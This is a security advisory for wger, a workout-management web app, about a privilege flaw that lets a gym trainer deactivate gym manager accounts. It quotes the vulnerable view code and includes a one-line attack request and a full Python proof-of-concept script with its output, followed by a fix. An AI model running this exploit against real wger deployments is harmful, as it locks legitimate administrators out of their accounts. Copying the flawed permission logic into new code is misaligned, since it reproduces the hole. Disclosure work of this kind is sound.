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GHSA-x249-cx55-2h87high7.1

wger: Trainer Privilege Escalation - Improper Privilege Management

Check your stack

The advisory, in context

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

  • A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
  • Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

  1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
  2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
  3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

wger PyPI
Ecosystem versions

Earlier releases through 2.1 (inclusive)

No fix recorded for this interval.

14 explicitly affected versions

1.1, 1.1.1, 1.2, 1.2rc1, 1.3, 1.4, 1.5, 1.6, 1.6.1, 1.7, 1.8, 1.9, 2.0, 2.1

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "last_affected": "2.1"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "1.1",
    "1.1.1",
    "1.2",
    "1.2rc1",
    "1.3",
    "1.4",
    "1.5",
    "1.6",
    "1.6.1",
    "1.7",
    "1.8",
    "1.9",
    "2.0",
    "2.1"
  ]
}

References